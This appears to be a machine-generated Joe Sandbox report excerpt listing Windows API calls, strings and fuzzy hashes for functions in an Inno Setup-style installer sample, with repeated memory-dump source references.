                                                                                          • String ID: SeShutdownPrivilege
                                                                                          • API String ID: 107509674-3733053543
                                                                                          • Opcode ID: e41b2ce6836bec360355d7b24c2a1717b910cfd1a437749fc580c6f152555136
                                                                                          • Instruction ID: 23182b732e3c774e917f784577cc733395bd6f0e504c2650860deaf78f25ff04
                                                                                          • Opcode Fuzzy Hash: e41b2ce6836bec360355d7b24c2a1717b910cfd1a437749fc580c6f152555136
                                                                                          • Instruction Fuzzy Hash: CBF0C870294B41B9EA10A6718C17F3B21C89B40709F80083ABD05E90D3D7BDD40C4A2E
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045D191
                                                                                          • GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045D1A1
                                                                                          • GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045D1B1
                                                                                          • ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047F96F,00000000,0047F998), ref: 0045D1D6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CryptVersion
                                                                                          • String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
                                                                                          • API String ID: 1951258720-508647305
                                                                                          • Opcode ID: dc81785b55ac876962535e0a2eb36b1dd730d24c9132c457d47d12d4ae2e21c2
                                                                                          • Instruction ID: d394b6b565b4a55a8c16e24b867b534ad65140704dc94b035c924c7661ebf9a3
                                                                                          • Opcode Fuzzy Hash: dc81785b55ac876962535e0a2eb36b1dd730d24c9132c457d47d12d4ae2e21c2
                                                                                          • Instruction Fuzzy Hash: A2F030B0D41700CAD318EFF6AC957263B96EB9830AF14C03BA414C51A2D7794454DF2C
                                                                                          APIs
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,004981E2,?,?,00000000,0049B628,?,0049836C,00000000,004983C0,?,?,00000000,0049B628), ref: 004980FB
                                                                                          • SetFileAttributesA.KERNEL32(00000000,00000010), ref: 0049817E
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,004981BA,?,00000000,?,00000000,004981E2,?,?,00000000,0049B628,?,0049836C,00000000), ref: 00498196
                                                                                          • FindClose.KERNEL32(000000FF,004981C1,004981BA,?,00000000,?,00000000,004981E2,?,?,00000000,0049B628,?,0049836C,00000000,004983C0), ref: 004981B4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileFind$AttributesCloseFirstNext
                                                                                          • String ID: isRS-$isRS-???.tmp
                                                                                          • API String ID: 134685335-3422211394
                                                                                          • Opcode ID: 4cf053d52b7de9e99314ef9443aa0be7ff49bfb1b7c6e14e5d4b85c56af708b1
                                                                                          • Instruction ID: fc6fb5a4e2302b333323d0d019d05182e8323e6fc1a1653111c694b95695a562
                                                                                          • Opcode Fuzzy Hash: 4cf053d52b7de9e99314ef9443aa0be7ff49bfb1b7c6e14e5d4b85c56af708b1
                                                                                          • Instruction Fuzzy Hash: E1316A719016186FCF10EF69CC42ADEBBBCDB45314F5044BBA808E3291DA3C9F458E58
                                                                                          APIs
                                                                                          • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457611
                                                                                          • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457638
                                                                                          • SetForegroundWindow.USER32(?), ref: 00457649
                                                                                          • NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00457921,?,00000000,0045795D), ref: 0045790C
                                                                                          Strings
                                                                                          • Cannot evaluate variable because [Code] isn't running yet, xrefs: 0045778C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MessagePostWindow$ForegroundNtdllProc_
                                                                                          • String ID: Cannot evaluate variable because [Code] isn't running yet
                                                                                          • API String ID: 2236967946-3182603685
                                                                                          • Opcode ID: 74e42c9c2b67fd5adc195c0662b506aaf6a0f02139eddaf5114ff9c1448628c8
                                                                                          • Instruction ID: 8776962154e21e4b1c8854f5ca4bcfaa90dd950cda3ad59ac2e2fede597431d6
                                                                                          • Opcode Fuzzy Hash: 74e42c9c2b67fd5adc195c0662b506aaf6a0f02139eddaf5114ff9c1448628c8
                                                                                          • Instruction Fuzzy Hash: 2B91D334608204DFEB15CF55E991F5ABBF5EB89704F2184BAE80497792C638AE04DB68
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00455F4B), ref: 00455E3C
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455E42
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                          • API String ID: 1646373207-3712701948
                                                                                          • Opcode ID: 409835b603e199d4170178d82c1615a1651ba94ec2cafac24c158ef3a131e909
                                                                                          • Instruction ID: d81c9a8c7c52065d28d66f53e81ce4f313aa74f068c2efe820cb9bfc493487ae
                                                                                          • Opcode Fuzzy Hash: 409835b603e199d4170178d82c1615a1651ba94ec2cafac24c158ef3a131e909
                                                                                          • Instruction Fuzzy Hash: B0418671A04649AFCF01EFA5C8929EEB7B8EF48305F504567F804F7292D67C5E098B68
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 00417D0F
                                                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
                                                                                          • GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
                                                                                          • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Placement$Iconic
                                                                                          • String ID: ,
                                                                                          • API String ID: 568898626-3772416878
                                                                                          • Opcode ID: b31359e3e3f4af84bc1879df8bb30ee95a40fb82c66b770674b351632ff57231
                                                                                          • Instruction ID: e85585575f8c5a3e7823c55acc6b28d6d187d41511fbfc80546af44b70413e2d
                                                                                          • Opcode Fuzzy Hash: b31359e3e3f4af84bc1879df8bb30ee95a40fb82c66b770674b351632ff57231
                                                                                          • Instruction Fuzzy Hash: 4C2112716042089BDF10EF69D8C1AEA77B8AF48314F05456AFD18DF346D678DD84CBA8
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(00000001,00000000,0046433F), ref: 004641CD
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 00464213
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,004642EC,?,00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 004642C8
                                                                                          • FindClose.KERNEL32(000000FF,004642F3,004642EC,?,00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 004642E6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$File$CloseErrorFirstModeNext
                                                                                          • String ID:
                                                                                          • API String ID: 4011626565-0
                                                                                          • Opcode ID: 1efd1e5842b6513eb7f92915edfbe8fc84401e145746a4d83abe9154eb57289a
                                                                                          • Instruction ID: 9d9184480f8630aada0b530c6bd54f2fc26159d28d851f3c8c43bf9f92f270d6
                                                                                          • Opcode Fuzzy Hash: 1efd1e5842b6513eb7f92915edfbe8fc84401e145746a4d83abe9154eb57289a
                                                                                          • Instruction Fuzzy Hash: 77418370A00A18DBCF10EFA5DC959DEB7B8EB88305F5044AAF804A7341E7789E448E59
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(00000001,00000000,00463E99), ref: 00463D0D
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463D9C
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,00463E4E,?,00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463E2E
                                                                                          • FindClose.KERNEL32(000000FF,00463E55,00463E4E,?,00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463E48
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$File$CloseErrorFirstModeNext
                                                                                          • String ID:
                                                                                          • API String ID: 4011626565-0
                                                                                          • Opcode ID: 7f0cfbd2c28eb096c2c7b79ad6d01cc7699265dce8ba217153498c446e9855ae
                                                                                          • Instruction ID: 85e7d80bc36d7b3e80fea797042c039a90a2821ca6a16b1e557570abf42aa49f
                                                                                          • Opcode Fuzzy Hash: 7f0cfbd2c28eb096c2c7b79ad6d01cc7699265dce8ba217153498c446e9855ae
                                                                                          • Instruction Fuzzy Hash: 3A41B770A00A589FCB11EF65CC45ADEB7B8EB88705F4044BAF404A7381E67D9F48CE59
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E956
                                                                                          • DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E981
                                                                                          • GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E98E
                                                                                          • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E996
                                                                                          • SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E99C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$CloseControlCreateDeviceFileHandle
                                                                                          • String ID:
                                                                                          • API String ID: 1177325624-0
                                                                                          • Opcode ID: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
                                                                                          • Instruction ID: 661b18b1de4eb1238568a50ab540e77c3175952f9b14320adb6d96c9b056064d
                                                                                          • Opcode Fuzzy Hash: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
                                                                                          • Instruction Fuzzy Hash: 80F090B23A17207AF620B57A5C86F7F418CCB89B68F10423BBA04FF1D1D9A85D0555AD
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 0048397A
                                                                                          • GetWindowLongA.USER32(00000000,000000F0), ref: 00483998
                                                                                          • ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049C0A8,00482E56,00482E8A,00000000,00482EAA,?,?,?,0049C0A8), ref: 004839BA
                                                                                          • ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049C0A8,00482E56,00482E8A,00000000,00482EAA,?,?,?,0049C0A8), ref: 004839CE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Show$IconicLong
                                                                                          • String ID:
                                                                                          • API String ID: 2754861897-0
                                                                                          • Opcode ID: 388bc32bc28a7c539796bab44a6ba9bad50612e2c7d9e5998850325d2fd9b569
                                                                                          • Instruction ID: 3cea9153c2b451a1fdc95e78a984a36fb28f479a74ffefb17a89e5a976076ef3
                                                                                          • Opcode Fuzzy Hash: 388bc32bc28a7c539796bab44a6ba9bad50612e2c7d9e5998850325d2fd9b569
                                                                                          • Instruction Fuzzy Hash: 160156B0705200ABEA00BF659CCBB5F22C55714745F44093BF4459B292CAADDA859B5C
                                                                                          APIs
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,00462824), ref: 004627A8
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,00462804,?,00000000,?,00000000,00462824), ref: 004627E4
                                                                                          • FindClose.KERNEL32(000000FF,0046280B,00462804,?,00000000,?,00000000,00462824), ref: 004627FE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$File$CloseFirstNext
                                                                                          • String ID:
                                                                                          • API String ID: 3541575487-0
                                                                                          • Opcode ID: b12316252c39c0105a03a3a2020ea099ca75c42189d8bae58c1ecd15a925fcd0
                                                                                          • Instruction ID: e6acefadc91213b77ea930f6be1f86c6134c8588622ee3d3acab995ed1c325b6
                                                                                          • Opcode Fuzzy Hash: b12316252c39c0105a03a3a2020ea099ca75c42189d8bae58c1ecd15a925fcd0
                                                                                          • Instruction Fuzzy Hash: 87210831904B08BECB11EB65CC41ACEB7ACDB49304F5084B7E808E32A1F6789E44CE69
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 004241E4
                                                                                          • SetActiveWindow.USER32(?,?,?,0046CD53), ref: 004241F1
                                                                                            • Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                            • Part of subcall function 00423B14: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021C25AC,0042420A,?,?,?,0046CD53), ref: 00423B4F
                                                                                          • SetFocus.USER32(00000000,?,?,?,0046CD53), ref: 0042421E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ActiveFocusIconicShow
                                                                                          • String ID:
                                                                                          • API String ID: 649377781-0
                                                                                          • Opcode ID: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
                                                                                          • Instruction ID: c953833529836f01456b8f788e47b4b7c36f7a841d6c6df07f57e62630513da6
                                                                                          • Opcode Fuzzy Hash: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
                                                                                          • Instruction Fuzzy Hash: 8CF030B170012097CB10BFAAA8C5B9676A8AB48344F5500BBBD05DF357CA7CDC018778
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 00417D0F
                                                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
                                                                                          • GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
                                                                                          • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Placement$Iconic
                                                                                          • String ID:
                                                                                          • API String ID: 568898626-0
                                                                                          • Opcode ID: 19084698f29920acc68274fefc6d1be37826273bcf8ca1bc36e8902df026f6c2
                                                                                          • Instruction ID: d9358ea7cd183770b33139a8ac7b7a0a70302bd2c01e5fc8313c3e2814ac7f2c
                                                                                          • Opcode Fuzzy Hash: 19084698f29920acc68274fefc6d1be37826273bcf8ca1bc36e8902df026f6c2
                                                                                          • Instruction Fuzzy Hash: 33012C71204108ABDB10EE59D8C1EF673A8AF45724F154566FD19DF242D639ED8087A8
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CaptureIconic
                                                                                          • String ID:
                                                                                          • API String ID: 2277910766-0
                                                                                          • Opcode ID: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
                                                                                          • Instruction ID: 6cb7601519473143bf4e876ebf6758ccc8fc4fa751d6c6e0357a6193460a6b05
                                                                                          • Opcode Fuzzy Hash: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
                                                                                          • Instruction Fuzzy Hash: 0AF0A4723056425BD730AB2EC984AB762F69F84314B14403BE419CBFA1EB3CDCC08798
                                                                                          APIs
                                                                                          • IsIconic.USER32(?), ref: 0042419B
                                                                                            • Part of subcall function 00423A84: EnumWindows.USER32(00423A1C), ref: 00423AA8
                                                                                            • Part of subcall function 00423A84: GetWindow.USER32(?,00000003), ref: 00423ABD
                                                                                            • Part of subcall function 00423A84: GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
                                                                                            • Part of subcall function 00423A84: SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02
                                                                                          • SetActiveWindow.USER32(?,?,?,00423D73,00000000,0042415C), ref: 004241AF
                                                                                            • Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ActiveEnumIconicLongShowWindows
                                                                                          • String ID:
                                                                                          • API String ID: 2671590913-0
                                                                                          • Opcode ID: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
                                                                                          • Instruction ID: ce5d4440ec1c13bcfda566247f28ea27228b22b89c70f7a48f218b5e8bc86154
                                                                                          • Opcode Fuzzy Hash: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
                                                                                          • Instruction Fuzzy Hash: 55E01AA070011087DB10AFAADCC8B9632A9BB48304F55017ABD49CF35BD63CC8608724
                                                                                          APIs
                                                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D5), ref: 004127C3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: NtdllProc_Window
                                                                                          • String ID:
                                                                                          • API String ID: 4255912815-0
                                                                                          • Opcode ID: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
                                                                                          • Instruction ID: 2c049f03cfb376e3baa0368465928f91904f6d03483072bf0e6cb5f6a46bccc5
                                                                                          • Opcode Fuzzy Hash: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
